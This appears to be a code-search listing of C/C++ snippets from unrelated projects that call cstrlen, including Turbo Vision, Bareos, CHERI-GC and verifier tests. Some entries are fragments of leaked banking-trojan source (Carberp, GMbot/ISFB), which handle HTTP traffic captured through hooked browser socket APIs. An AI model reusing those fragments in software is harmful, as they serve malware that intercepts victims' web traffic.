예제 #1
0
파일: vfs.cpp 프로젝트: 0x00dec0de/Carberp
//
// Converst "vfs\"-based path into "Device\" - based path
//
LPTSTR	PathToDevice(LPTSTR	FilePath)
{
	ULONG	PathLen = (ULONG)_tcslen(FilePath);
	LPTSTR	DevicePath = NULL;
	LONG	NotVfs;
	if (DevicePath = (LPTSTR)LocalAlloc( LMEM_FIXED, (PathLen - cstrlen(tczVfs) + _tcslen(g_VfsRootName) + 1) * sizeof(_TCHAR)))
	{
		_tcscpy(DevicePath, g_VfsRootName);
		_tcscat(DevicePath, (LPTSTR)&FilePath[cstrlen(tczVfs)]);
	}	// if (DevicePath = malloc(
	return(DevicePath);
}
예제 #2
0
파일: prio.c 프로젝트: 0x00dec0de/GMbot
//
//	Copies all data from pDataStream into pStream as single HTTP chunk, including chunk size and chunk-end sequence.
//
static VOID ContextAddChunk(
	PHANDLE_CONTEXT	Ctx
	)
{
	LONG	HeaderSize, bSize;
	ULONG	OldPos;
	CHAR	ChunkHeader[0x80] = {0};
	HRESULT	hResult;
	LPSTREAM	pStream = Ctx->pStream;
	LPSTREAM	pDataStream = Ctx->pReceiveStream;

	ASSERT(Ctx->Flags & CF_CONTENT);

	bSize = StreamGetLength(pDataStream);

	ASSERT(bSize >= cstrlen(szCRLF) || !(Ctx->Flags & CF_CHUNKED));

	if (Ctx->Flags & CF_CHUNKED)
		bSize -= cstrlen(szCRLF);

	// Saving current stream position
	OldPos = StreamGetPos(pStream);
	// Will write to the end of the stream
	StreamGotoEnd(pStream);

	// Writing chunk size to the main sream
	HeaderSize = wsprintf(ChunkHeader, szChunkSize, bSize);
	hResult = CoInvoke(pStream, Write, ChunkHeader, HeaderSize, NULL);
	ASSERT(hResult == S_OK);

	if (bSize)
	{
		// Copying data sream content into the main stream
		StreamGotoBegin(pDataStream);
		hResult = StreamCopyStream(pStream, pDataStream, bSize);
		ASSERT(hResult == S_OK);
	}
	else
		// This is the last chunk. Disabling parser.
		Ctx->Flags &= ~CF_CONTENT;

	// Writing the end of chunk CRLF sequence to the end of the stream
	hResult = CoInvoke(pStream, Write, szCRLF, cstrlen(szCRLF), NULL);
	ASSERT(hResult == S_OK);

	// Restoring stream original position
	StreamGoto(pStream, OldPos);
	// Clearing the data stream
	StreamClear(pDataStream);
}
void TFrame::draw()
{
    ushort cFrame, cTitle;
    short  f, i, l, width;
    TDrawBuffer b;

    if( (state & sfActive) == 0 )
        {
        cFrame = 0x0101;
        cTitle = 0x0002;
        f = 0;
        }
    else
        if( (state & sfDragging) != 0 )
            {
            cFrame = 0x0505;
            cTitle = 0x0005;
            f = 0;
            }
        else
            {
            cFrame = 0x0503;
            cTitle = 0x0004;
            f = 9;
            }

    cFrame = getColor(cFrame);
    cTitle = getColor(cTitle);

    width = size.x;
    l = width - 10;

    if( ( ((TWindow *)owner)->flags & (wfClose | wfZoom) ) != 0 )
        l -= 6;
    frameLine( b, 0, f, uchar(cFrame) );
    if( ((TWindow *)owner)->number != wnNoNumber &&
        ((TWindow *)owner)->number < 10
      )
        {
        l -= 4;
        if( ( ((TWindow *)owner)->flags & wfZoom ) != 0 )
            i = 7;
        else
            i = 3;
        b.putChar( width-i, ((TWindow *)owner)->number + '0' );
        }

    if( owner != 0 )
        {
        const char *title = ((TWindow *)owner)->getTitle(l);
        if( title != 0 )
            {
            l = min( cstrlen(title), width - 10 );
            l = max( l, 0 );
            i = (width - l) >> 1;
            b.putChar( i-1, ' ' );
            b.moveBuf( i, title, cTitle, l );
            b.putChar( i+l, ' ' );
            }
        }
예제 #4
0
static int certificate_subject_tag (cxml_handler_t* const _h, cxml_tag_t * const tag)
{
	int rc = 0;
	cert_cxml_handler_t * h = (cert_cxml_handler_t *)_h;
	// write signer info
	if (cxml_tag_is_open(tag)){
		int len;
		const char * v = cxml_tag_attr_value(tag, "type");
		if(v == NULL){
			fprintf(stderr, "Subject type must be set in Certificate profile\n");
			return -1;
		}
		h->subject_type = STR2ENUM(_subject_type, v);
		if(h->subject_type < 0) {
			fprintf(stderr, "%s: Unknown subject type\n", v);
			return -1;
		}
		cint8_write(h->subject_type, &h->ptr, h->end, &rc);
		v  = cxml_tag_attr_value(tag, "name");
		len = cstrlen(v);
		if(0 == cintx_write(len, &h->ptr, h->end, &rc) && len > 0){
			cbuf_write(v, len, &h->ptr, h->end, &rc);
		}
		bookmark_position(h, tag);
	}else{
		apply_bookmark_size(h, tag);
	}
	return rc;
}
int TCluster::column( int item )
{
    if( item < size.y )
        return 0;
    else
        {
        int width = 0;
        int col = -6;
        int l = 0;
        for( int i = 0; i <= item; i++ )
            {
            if( i % size.y == 0 )
                {
                col += width + 6;
                width = 0;
                }

            if( i < strings->getCount() )
                l = cstrlen( (char *)(strings->at(i)) );
            if( l > width )
                width = l;
            }
        return col;
        }
}
예제 #6
0
void TButton::drawTitle( TDrawBuffer &b,
                         int s,
                         int i,
                         ushort cButton,
                         Boolean down
                       )
{
    int l, scOff;
    if( (flags & bfLeftJust) != 0 )
        l = 1;
    else
        {
        l = (s - cstrlen(title) - 1)/2;
        if( l < 1 )
            l = 1;
        }
    b.moveCStr( i+l, title, cButton );

    if( showMarkers == True && !down )
        {
        if( (state & sfSelected) != 0 )
            scOff = 0;
        else if( amDefault )
            scOff = 2;
        else
            scOff = 4;
        b.putChar( 0, specialChars[scOff] );
        b.putChar( s, specialChars[scOff+1] );
        }
}
예제 #7
0
파일: SYSERR.cpp 프로젝트: gdobra/tvision
short TSystemError::sysErr( short errorCode, uchar drive )
{
    ushort c = ( (TScreen::screenMode & 0x00FF) != TDisplay::smMono  ) ?
                                        sysColorAttr : sysMonoAttr;
    char s[ 63 ];
    TDrawBuffer b;

//  bug-fix TV2B-31 ---------------------------------------
    /* There are 22 documented device errors, all of which have their
     * own strings in errorString[].  However, just in case we run into
     * something weird this will prevent a crash.
     */
//  end of bug-fix. ---------------------------------------
    if( errorCode < (sizeof(errorString) / sizeof(errorString[0])) )
        sprintf( s, errorString[ errorCode ], drive + 'A' );
    else
        sprintf( s, "Unknown critical error %d on drive %c", errorCode, drive + 'A' );

// modification #TV2N-04 ----------------------------------
    // EFW - Modified to be screen size aware.
    b.moveChar( 0, ' ', c, TScreen::screenWidth);
    b.moveCStr( 1, s, c);
    b.moveCStr( TScreen::screenWidth - cstrlen(sRetryOrCancel) - 1,
        sRetryOrCancel, c);
// end of modification ------------------------------------
    swapStatusLine(b);
    int res = selectKey();
    swapStatusLine(b);
    return res;
}
예제 #8
0
size_t DebugStream::WriteCStr(const wchar_t* str)
{
	size_t len = cstrlen(str);
	OutputDebugStringW(str);
	m_position += len;
	return len;
}
int main() {
    int length1 = __VERIFIER_nondet_int();
    if (length1 < 1) {
        length1 = 1;
    }
    char* nondetString1 = (char*) alloca(length1 * sizeof(char));
    nondetString1[length1-1] = '1';
    return cstrlen(nondetString1);
}
예제 #10
0
void TStatusLine::drawSelect( TStatusItem *selected )
{
    TDrawBuffer b;
    ushort color;
    char hintBuf[256];

    ushort cNormal = getColor(0x0301);
    ushort cSelect = getColor(0x0604);
    ushort cNormDisabled = getColor(0x0202);
    ushort cSelDisabled = getColor(0x0505);
    b.moveChar( 0, ' ', cNormal, size.x );
    TStatusItem *T =  items;
    ushort i = 0;

    while( T != 0 )
        {
        if( T->text != 0 )
            {
            ushort l = cstrlen( T->text );
            if( i + l < size.x )
                {
                if( commandEnabled( T->command) )
                    if( T == selected )
                        color = cSelect;
                    else
                        color = cNormal;
                else
                    if( T == selected )
                        color = cSelDisabled;
                    else
                        color = cNormDisabled;

                b.moveChar( i, ' ', color, 1 );
                b.moveCStr( i+1, T->text, color );
                b.moveChar( i+l+1, ' ', color, 1 );
                }
            i += l+2;
            }
        T = T->next;
        }
    if( i < size.x - 2 )
        {
        strcpy( hintBuf, hint( helpCtx ) );
        if( *hintBuf != EOS )
            {
            b.moveStr( i, hintSeparator, cNormal );
            i += 2;
            if( strlen(hintBuf) + i > size.x )
                hintBuf[size.x-i] = EOS;
            b.moveStr( i, hintBuf, cNormal );
            i += strlen(hintBuf);
            }
        }
    writeLine( 0, 0, size.x, 1, b );
}
int main() {
    int length1 = __VERIFIER_nondet_int();
    if (length1 < 1) {
        length1 = 1;
    }
    char* nondetString1 = (char*) malloc(length1 * sizeof(char));
    nondetString1[length1-1] = '\0';
    int res = cstrlen(nondetString1);
    free(nondetString1);
    return res;
}
예제 #12
0
파일: lex.c 프로젝트: CTSRD-CHERI/CHERI-GC
GC_USER_FUNC GC_CAP char *
copy_string (GC_CAP const char * str)
{
  size_t len = cstrlen(str)+1;
  GC_CAP char * copy = GC_INVALID_PTR();
  GC_STORE_CAP(copy, ml_malloc(len));
  if (!PTR_VALID(copy))
  {
    fprintf(stderr, "copy_string(): out of memory\n");
    exit(1);
  }
  cmemcpy(copy, str, len);
  return copy;
}
예제 #13
0
파일: lex.c 프로젝트: CTSRD-CHERI/CHERI-GC
GC_USER_FUNC void
lex_read_string (GC_CAP const char * str)
{
  lex_state.num_tokens = 0;
  lex_state.file = GC_INVALID_PTR();
  GC_STORE_CAP(lex_state.file, copy_string(str));
  if (!PTR_VALID(lex_state.file))
  {
    fprintf(stderr, "lex_read_string: out of memory\n");
    exit(1);
  }
  //GC_debug_track_allocated(lex_state.file, "lex_state file");
  lex_state.index = 0;
  lex_state.max = cstrlen(str);
}
예제 #14
0
short TSystemError::sysErr( short errorCode, uchar drive )
{
    ushort c = ( (TScreen::screenMode & 0x00fF) != TDisplay::smMono  ) ?
                                        sysColorAttr : sysMonoAttr;
    char s[ 63 ];
    TDrawBuffer b;

    sprintf( s, errorString[ errorCode ], drive + 'a' );

    b.moveChar( 0, ' ', c, 80);
    b.moveCStr( 1, s, c);
    b.moveCStr( 79-cstrlen(sRetryOrCancel), sRetryOrCancel, c);
    swapStatusLine(b);
    int res = selectKey();
    swapStatusLine(b);
    return res;
}
/*
 * Find the first occurrence of find in s.
 */
char *
cstrstr(const char *s, const char *find)
{
	char c, sc;
	size_t len;

	if ((c = *find++) != 0) {
		len = cstrlen(find);
		do {
			do {
				if ((sc = *s++) == 0)
					return (NULL);
			} while (sc != c);
		} while (cstrncmp(s, find, len) != 0);
		s--;
	}
	return ((char *)s);
}
예제 #16
0
파일: prio.c 프로젝트: 0x00dec0de/GMbot
//
//	Reads data from a socket until whole HTTP header received, of the buffer is full, or any error occured.
//	Returns size of loaded HTTP headers in bytes.
//
static ULONG BlockingReadHeaders(
	PPR_SOCKET		Ps,		// socket handle
	PHANDLE_CONTEXT	Ctx,	// current handle Context to read the data to
	BOOL			Block	// infinitely wait for data if set
	)
{
	LONG	bRead;
	ULONG	Length = 0, Attempt = 0;
	PCHAR	cStr = NULL;

	ASSERT(HttpIsReply(Ctx->cBuffer, Ctx->cTotal));

	while(!(cStr = StrStr(Ctx->cBuffer, szEmptyStr)))
	{
		if (Ctx->cTotal == MAX_CONTENT_BUFFER_SIZE)
			break;

		DbgPrint("ISFB_%04x: Blocking read headers.\n", g_CurrentProcessId);

		bRead = Ps->Api->Read(Ps->fd, Ctx->cBuffer + Ctx->cTotal, MAX_CONTENT_BUFFER_SIZE - Ctx->cTotal, NULL);
		if (bRead <= 0)
		{
			if (bRead == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR && Attempt < MAX_LOAD_ATTEMPTS)
			{
				// no data now, waiting 
				Sleep(10);
				if (!Block)
					Attempt += 1;
				continue;
			}
			// an error occured or the connection is closed, exiting
			break;
		}	// if (bRead <= 0)

		Ctx->cTotal += bRead;
		Ctx->cActive += bRead;		
		Ctx->cBuffer[Ctx->cTotal] = 0;
	}	// while(

	if (cStr)
		Length = cstrlen(szEmptyStr) + (ULONG)(cStr - Ctx->cBuffer);

	return(Length);
}
예제 #17
0
파일: KLAL.c 프로젝트: klib/example
/// 拡張子にwavがあればwav / それ以外はm4aとしてロード
bl KLAL_Load( KLAL* p, path8 pPath )
{
	size_t len = pPath?cstrlen(pPath):0;
	
	if( pPath && len>4 )
	{
		KLAL_Init(p);
		
		if( pPath[len-1]=='v' && pPath[len-2]=='a' && pPath[len-3]=='w' )
		{
			return KLAL_LoadWav(p, pPath);
		}
			
		return KLAL_LoadM4a(p, pPath);
		
	}
	
	return FALSE;
}
예제 #18
0
TStatusItem *TStatusLine::itemMouseIsIn( TPoint mouse )
{
    if( mouse.y !=  0 )
        return 0;

    ushort i;
    TStatusItem *T;

    for( i = 0, T = items; T != 0; T = T->next)
        {
        if( T->text != 0 )
            {
            ushort k = i + cstrlen(T->text) + 2;
            if( mouse.x >= i && mouse. x < k )
                return T;
            i = k;
            }
        }
    return 0;
}
예제 #19
0
short TSystemError::sysErr( short errorCode, uchar drive )
{
    ushort c = ( (TScreen::screenMode & 0x00FF) != TDisplay::smMono  ) ?
                                        sysColorAttr : sysMonoAttr;
    char s[ 63 ];
    TDrawBuffer b;

    /* There are 16 documented device errors, all of which have their
     * own strings in errorString[].  However, just in case we run into
     * something weird this will prevent a crash.
     */
    if( errorCode < (sizeof(errorString) / sizeof(errorString[0])) )
        sprintf( s, errorString[ errorCode ], drive + 'A' );
    else
        sprintf( s, "Unknown critical error %d on drive %c", errorCode, drive + 'A' );

    b.moveChar( 0, ' ', c, 80);
    b.moveCStr( 1, s, c);
    b.moveCStr( 79-cstrlen(sRetryOrCancel), sRetryOrCancel, c);
    swapStatusLine(b);
    int res = selectKey();
    swapStatusLine(b);
    return res;
}
예제 #20
0
파일: sql.c 프로젝트: engeenity/bareos
/*
 * If full_list is set, we list vertically, otherwise, we
 *  list on one line horizontally.
 * Return number of rows
 */
int list_result(JCR *jcr, B_DB *mdb, DB_LIST_HANDLER *send, void *ctx, e_list_type type)
{
   SQL_FIELD *field;
   SQL_ROW row;
   int i, col_len, max_len = 0;
   int num_fields;
   char buf[2000], ewc[30];

   Dmsg0(800, "list_result starts\n");
   if (sql_num_rows(mdb) == 0) {
      send(ctx, _("No results to list.\n"));
      return sql_num_rows(mdb);
   }

   num_fields = sql_num_fields(mdb);
   switch (type) {
   case NF_LIST:
   case RAW_LIST:
      /*
       * No need to calculate things like column widths for
       * unformated or raw output.
       */
      break;
   case HORZ_LIST:
   case VERT_LIST:
      Dmsg1(800, "list_result starts looking at %d fields\n", num_fields);
      /*
       * Determine column display widths
       */
      sql_field_seek(mdb, 0);
      for (i = 0; i < num_fields; i++) {
         Dmsg1(800, "list_result processing field %d\n", i);
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         col_len = cstrlen(field->name);
         if (type == VERT_LIST) {
            if (col_len > max_len) {
               max_len = col_len;
            }
         } else {
            if (sql_field_is_numeric(mdb, field->type) && (int)field->max_length > 0) { /* fixup for commas */
               field->max_length += (field->max_length - 1) / 3;
            }
            if (col_len < (int)field->max_length) {
               col_len = field->max_length;
            }
            if (col_len < 4 && !sql_field_is_not_null(mdb, field->flags)) {
               col_len = 4;                 /* 4 = length of the word "NULL" */
            }
            field->max_length = col_len;    /* reset column info */
         }
      }
      break;
   }

   Dmsg0(800, "list_result finished first loop\n");

   switch (type) {
   case NF_LIST:
   case RAW_LIST:
      Dmsg1(800, "list_result starts second loop looking at %d fields\n", num_fields);
      while ((row = sql_fetch_row(mdb)) != NULL) {
         sql_field_seek(mdb, 0);
         for (i = 0; i < num_fields; i++) {
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            if (row[i] == NULL) {
               bsnprintf(buf, sizeof(buf), " %s", "NULL");
            } else {
               bsnprintf(buf, sizeof(buf), " %s", row[i]);
            }
            send(ctx, buf);
         }
         if (type != RAW_LIST) {
            send(ctx, "\n");
         }
      }
      break;
   case HORZ_LIST:
      Dmsg1(800, "list_result starts second loop looking at %d fields\n", num_fields);
      list_dashes(mdb, send, ctx);
      send(ctx, "|");
      sql_field_seek(mdb, 0);
      for (i = 0; i < num_fields; i++) {
         Dmsg1(800, "list_result looking at field %d\n", i);
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         max_len = max_length(field->max_length);
         bsnprintf(buf, sizeof(buf), " %-*s |", max_len, field->name);
         send(ctx, buf);
      }
      send(ctx, "\n");
      list_dashes(mdb, send, ctx);

      Dmsg1(800, "list_result starts third loop looking at %d fields\n", num_fields);
      while ((row = sql_fetch_row(mdb)) != NULL) {
         sql_field_seek(mdb, 0);
         send(ctx, "|");
         for (i = 0; i < num_fields; i++) {
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            max_len = max_length(field->max_length);
            if (row[i] == NULL) {
               bsnprintf(buf, sizeof(buf), " %-*s |", max_len, "NULL");
            } else if (sql_field_is_numeric(mdb, field->type) && !jcr->gui && is_an_integer(row[i])) {
               bsnprintf(buf, sizeof(buf), " %*s |", max_len,
                         add_commas(row[i], ewc));
            } else {
               bsnprintf(buf, sizeof(buf), " %-*s |", max_len, row[i]);
            }
            send(ctx, buf);
         }
         send(ctx, "\n");
      }
      list_dashes(mdb, send, ctx);
      break;
   case VERT_LIST:
      Dmsg1(800, "list_result starts vertical list at %d fields\n", num_fields);
      while ((row = sql_fetch_row(mdb)) != NULL) {
         sql_field_seek(mdb, 0);
         for (i = 0; i < num_fields; i++) {
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            if (row[i] == NULL) {
               bsnprintf(buf, sizeof(buf), " %*s: %s\n", max_len, field->name, "NULL");
            } else if (sql_field_is_numeric(mdb, field->type) && !jcr->gui && is_an_integer(row[i])) {
               bsnprintf(buf, sizeof(buf), " %*s: %s\n", max_len, field->name,
                   add_commas(row[i], ewc));
            } else {
               bsnprintf(buf, sizeof(buf), " %*s: %s\n", max_len, field->name, row[i]);
            }
            send(ctx, buf);
         }
         send(ctx, "\n");
      }
      break;
   }
   return sql_num_rows(mdb);
}
예제 #21
0
파일: sql.c 프로젝트: debfx/bareos
/*
 * If full_list is set, we list vertically, otherwise, we
 *  list on one line horizontally.
 * Return number of rows
 */
int list_result(JCR *jcr, B_DB *mdb, OUTPUT_FORMATTER *send, e_list_type type)
{
   SQL_FIELD *field;
   SQL_ROW row;
   int i, col_len, max_len = 0;
   int num_fields;
   char ewc[30];
   POOL_MEM key;
   POOL_MEM value;

   Dmsg0(800, "list_result starts\n");
   if (sql_num_rows(mdb) == 0) {
      send->decoration(_("No results to list.\n"));
      send->object_end("table");
      return sql_num_rows(mdb);
   }

   num_fields = sql_num_fields(mdb);
   switch (type) {
   case NF_LIST:
   case RAW_LIST:
      /*
       * No need to calculate things like column widths for
       * unformated or raw output.
       */
      break;
   case HORZ_LIST:
   case VERT_LIST:
      Dmsg1(800, "list_result starts looking at %d fields\n", num_fields);
      /*
       * Determine column display widths
       */
      sql_field_seek(mdb, 0);
      for (i = 0; i < num_fields; i++) {
         Dmsg1(800, "list_result processing field %d\n", i);
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         col_len = cstrlen(field->name);
         if (type == VERT_LIST) {
            if (col_len > max_len) {
               max_len = col_len;
            }
         } else {
            if (sql_field_is_numeric(mdb, field->type) && (int)field->max_length > 0) { /* fixup for commas */
               field->max_length += (field->max_length - 1) / 3;
            }
            if (col_len < (int)field->max_length) {
               col_len = field->max_length;
            }
            if (col_len < 4 && !sql_field_is_not_null(mdb, field->flags)) {
               col_len = 4;                 /* 4 = length of the word "NULL" */
            }
            field->max_length = col_len;    /* reset column info */
         }
      }
      break;
   }

   Dmsg0(800, "list_result finished first loop\n");

   switch (type) {
   case NF_LIST:
   case RAW_LIST:
      Dmsg1(800, "list_result starts second loop looking at %d fields\n", num_fields);
      while ((row = sql_fetch_row(mdb)) != NULL) {
         send->object_start(row[0]);
         sql_field_seek(mdb, 0);
         for (i = 0; i < num_fields; i++) {
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            if (row[i] == NULL) {
               value.bsprintf(" %s", "NULL");
            } else {
               value.bsprintf(" %s", row[i]);
            }
            send->object_key_value(field->name, value.c_str(), "%s");
         }
         if (type != RAW_LIST) {
            send->decoration("\n");
         }
         send->object_end(row[0]);
      }
      break;
   case HORZ_LIST:
      Dmsg1(800, "list_result starts second loop looking at %d fields\n", num_fields);
      list_dashes(mdb, send);
      send->decoration("|");
      sql_field_seek(mdb, 0);
      for (i = 0; i < num_fields; i++) {
         Dmsg1(800, "list_result looking at field %d\n", i);
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         max_len = max_length(field->max_length);
         send->decoration(" %-*s |", max_len, field->name);
      }
      send->decoration("\n");
      list_dashes(mdb, send);

      Dmsg1(800, "list_result starts third loop looking at %d fields\n", num_fields);
      while ((row = sql_fetch_row(mdb)) != NULL) {
         send->object_start(row[0]);
         sql_field_seek(mdb, 0);
         send->decoration("|");
         for (i = 0; i < num_fields; i++) {
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            max_len = max_length(field->max_length);
            if (row[i] == NULL) {
               value.bsprintf(" %-*s |", max_len, "NULL");
            } else if (sql_field_is_numeric(mdb, field->type) && !jcr->gui && is_an_integer(row[i])) {
               value.bsprintf(" %*s |", max_len, add_commas(row[i], ewc));
            } else {
               value.bsprintf(" %-*s |", max_len, row[i]);
            }
            if (i == num_fields-1) {
               value.strcat("\n");
            }
            /* use value format string to send preformated value */
            send->object_key_value(field->name, row[i], value.c_str());
         }
         send->object_end(row[0]);
      }
      list_dashes(mdb, send);
      break;
   case VERT_LIST:
      Dmsg1(800, "list_result starts vertical list at %d fields\n", num_fields);
      while ((row = sql_fetch_row(mdb)) != NULL) {
         send->object_start(row[0]);
         sql_field_seek(mdb, 0);
         for (i = 0; i < num_fields; i++) {
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            if (row[i] == NULL) {
               key.bsprintf(" %*s: ", max_len, field->name);
               value.bsprintf("%s\n", "NULL");
            } else if (sql_field_is_numeric(mdb, field->type) && !jcr->gui && is_an_integer(row[i])) {
               key.bsprintf(" %*s: ", max_len, field->name);
               value.bsprintf("%s\n", add_commas(row[i], ewc));
            } else {
               key.bsprintf(" %*s: ", max_len, field->name);
               value.bsprintf("%s\n", row[i]);
            }
            /* use value format string to send preformated value */
            send->object_key_value(field->name, key.c_str(), row[i], value.c_str());
         }
         send->decoration("\n");
         send->object_end(row[0]);
      }
      break;
   }
   return sql_num_rows(mdb);
}
예제 #22
0
파일: sql.c 프로젝트: debfx/bareos
int list_result(void *vctx, int nb_col, char **row)
{
   SQL_FIELD *field;
   int i, col_len, max_len = 0;
   int num_fields;
   char ewc[30];
   POOL_MEM key;
   POOL_MEM value;

   LIST_CTX *pctx = (LIST_CTX *)vctx;
   OUTPUT_FORMATTER *send = pctx->send;
   e_list_type type = pctx->type;
   B_DB *mdb = pctx->mdb;
   JCR *jcr = pctx->jcr;

   send->object_start("row");

   num_fields = sql_num_fields(mdb);
   switch (type) {
   case NF_LIST:
   case RAW_LIST:
      /*
       * No need to calculate things like maximum field lenght for
       * unformated or raw output.
       */
      break;
   case HORZ_LIST:
   case VERT_LIST:
      if (!pctx->once) {
         pctx->once = true;

         Dmsg1(800, "list_result starts looking at %d fields\n", num_fields);
         /*
          * Determine column display widths
          */
         sql_field_seek(mdb, 0);
         for (i = 0; i < num_fields; i++) {
            Dmsg1(800, "list_result processing field %d\n", i);
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            col_len = cstrlen(field->name);
            if (type == VERT_LIST) {
               if (col_len > max_len) {
                  max_len = col_len;
               }
            } else {
               if (sql_field_is_numeric(mdb, field->type) && (int)field->max_length > 0) { /* fixup for commas */
                  field->max_length += (field->max_length - 1) / 3;
               }
               if (col_len < (int)field->max_length) {
                  col_len = field->max_length;
               }
               if (col_len < 4 && !sql_field_is_not_null(mdb, field->flags)) {
                  col_len = 4;                 /* 4 = length of the word "NULL" */
               }
               field->max_length = col_len;    /* reset column info */
            }
         }

         pctx->num_rows++;

         Dmsg0(800, "list_result finished first loop\n");
         if (type == VERT_LIST) {
            break;
         }

         Dmsg1(800, "list_result starts second loop looking at %d fields\n", num_fields);

         /*
          * Keep the result to display the same line at the end of the table
          */
         list_dashes(mdb, send);

         send->decoration("|");
         sql_field_seek(mdb, 0);
         for (i = 0; i < num_fields; i++) {
            Dmsg1(800, "list_result looking at field %d\n", i);
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            max_len = max_length(field->max_length);
            send->decoration(" %-*s |", max_len, field->name);
         }
         send->decoration("\n");
         list_dashes(mdb, send);
      }
      break;
   default:
      break;
   }

   switch (type) {
   case NF_LIST:
   case RAW_LIST:
      Dmsg1(800, "list_result starts third loop looking at %d fields\n", num_fields);
      sql_field_seek(mdb, 0);
      for (i = 0; i < num_fields; i++) {
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         if (row[i] == NULL) {
            value.bsprintf(" %s", "NULL");
         } else {
            value.bsprintf(" %s", row[i]);
         }
         send->object_key_value(field->name, value.c_str(), "%s");
      }
      if (type != RAW_LIST) {
         send->decoration("\n");
      }
      break;
   case HORZ_LIST:
      Dmsg1(800, "list_result starts third loop looking at %d fields\n", num_fields);
      sql_field_seek(mdb, 0);
      send->decoration("|");
      for (i = 0; i < num_fields; i++) {
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }

         max_len = max_length(field->max_length);
         if (row[i] == NULL) {
            value.bsprintf(" %-*s |", max_len, "NULL");
         } else if (sql_field_is_numeric(mdb, field->type) && !jcr->gui && is_an_integer(row[i])) {
            value.bsprintf(" %*s |", max_len, add_commas(row[i], ewc));
         } else {
            value.bsprintf(" %-*s |", max_len, row[i]);
         }

         /*
          * Use value format string to send preformated value.
          */
         send->object_key_value(field->name, row[i], value.c_str());
      }
      send->decoration("\n");
      break;
   case VERT_LIST:
      Dmsg1(800, "list_result starts vertical list at %d fields\n", num_fields);
      sql_field_seek(mdb, 0);
      for (i = 0; i < num_fields; i++) {
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         if (row[i] == NULL) {
            key.bsprintf(" %*s: ", max_len, field->name);
            value.bsprintf("%s\n", "NULL");
         } else if (sql_field_is_numeric(mdb, field->type) && !jcr->gui && is_an_integer(row[i])) {
            key.bsprintf(" %*s: ", max_len, field->name);
            value.bsprintf("%s\n", add_commas(row[i], ewc));
         } else {
            key.bsprintf(" %*s: ", max_len, field->name);
            value.bsprintf("%s\n", row[i]);
         }

         /*
          * Use value format string to send preformated value.
          */
         send->object_key_value(field->name, key.c_str(), row[i], value.c_str());
      }
      send->decoration("\n");
      break;
   default:
      break;
   }
   send->object_end("row");
   return 0;
}
예제 #23
0
파일: prio.c 프로젝트: 0x00dec0de/GMbot
//
//	This function reads chunked data from the specified PR-socket. And writes it to the specfied PR-context.
//	It returns one of the following codes:
//		>0	- a chunk completely read
//		0	- connection was closed
//		<0	- an error occured while reading a chunk
//
static LONG	ContextLoadChunk(
	PPR_SOCKET		Ps,		// PR-socket to read data from
	PHANDLE_CONTEXT Ctx		// PR-context to load data to
	)
{
	HRESULT	hResult;
	LONG	cSize = 0, bRead = 0;
	PCHAR	pChunk = NULL, ChunkBuffer;

	ASSERT(Ctx->cActive);

	ChunkBuffer = (Ctx->cBuffer + (Ctx->cTotal - Ctx->cActive));

	if (Ctx->ChunkSize)
	{
		// We have a chunk started, continue
		if (Ctx->cActive < Ctx->ChunkSize)
		{
			//	Buffer contains only a part of chunk data, copying it
			bRead = Ctx->cActive;
			hResult = CoInvoke(Ctx->pReceiveStream, Write, ChunkBuffer, bRead, NULL);
			Ctx->cActive = 0;
			Ctx->ChunkSize -= bRead;

			// Trying to read some more chunk data.
			bRead = (Ps->Api->Read)(Ps->fd, Ctx->cBuffer, MAX_CONTENT_BUFFER_SIZE, 0);
			if (bRead > 0)
			{
				Ctx->cTotal = Ctx->cActive = bRead;
				bRead = ContextLoadChunk(Ps, Ctx);
			}
		}
		else	// if (Ctx->cActive < Ctx->ChunkSize)
		{
			// Buffer contains more then one part of chunk data
			bRead = Ctx->ChunkSize;
			hResult = CoInvoke(Ctx->pReceiveStream, Write, ChunkBuffer, bRead, NULL);
			Ctx->cActive -= bRead;
			Ctx->ChunkSize -= bRead;

			ASSERT(Ctx->ChunkSize == 0);
		}	// else	// if (Ctx->cActive < Ctx->ChunkSize)
	}
	else	// if (Ctx->ChunkSize)
	{
		// Reading new chunk
		ASSERT(!(Ctx->Flags & CF_LENGTH));
		ASSERT(Ctx->Flags & CF_CHUNKED);

		// Looking for the chunk header within the buffer
		if (pChunk = HttpGetChunk(ChunkBuffer, &cSize))
		{
			Ctx->cActive -= (LONG)(pChunk - ChunkBuffer);
			ASSERT(Ctx->cActive >= 0);
			Ctx->ChunkSize = cSize + cstrlen(szCRLF);

			if (!Ctx->cActive && cSize)
			{
				// We have a chunk size but no chunk data. Trying to read some data.
				bRead = (Ps->Api->Read)(Ps->fd, Ctx->cBuffer + Ctx->cActive, (MAX_CONTENT_BUFFER_SIZE - Ctx->cActive), 0);
				if (bRead > 0)
					Ctx->cTotal = Ctx->cActive = bRead;
			}	// if (!Ctx->cActive && cSize)
			
			if (Ctx->cActive)
			{
				// There's some chunk data within the buffer
				bRead = ContextLoadChunk(Ps, Ctx);
			}	// if (Ctx->cActive)
		}
		else	// if (pChunk = HttpGetChunk(ChunkBuffer, &cSize))
		{		
			// No chunk found, possibly we have only a part of the chunk header
			ASSERT(Ctx->ChunkSize == 0);

			if (Ctx->cActive < Ctx->cTotal)
			{
				if (Ctx->cActive)
					memcpy(Ctx->cBuffer, ChunkBuffer, Ctx->cActive);

				// Loading other part of the chunk header
				bRead = (Ps->Api->Read)(Ps->fd, Ctx->cBuffer + Ctx->cActive, (MAX_CONTENT_BUFFER_SIZE - Ctx->cActive), 0);

				if (bRead > 0)
				{
					Ctx->cTotal = Ctx->cActive + bRead;
					Ctx->cActive = Ctx->cTotal;
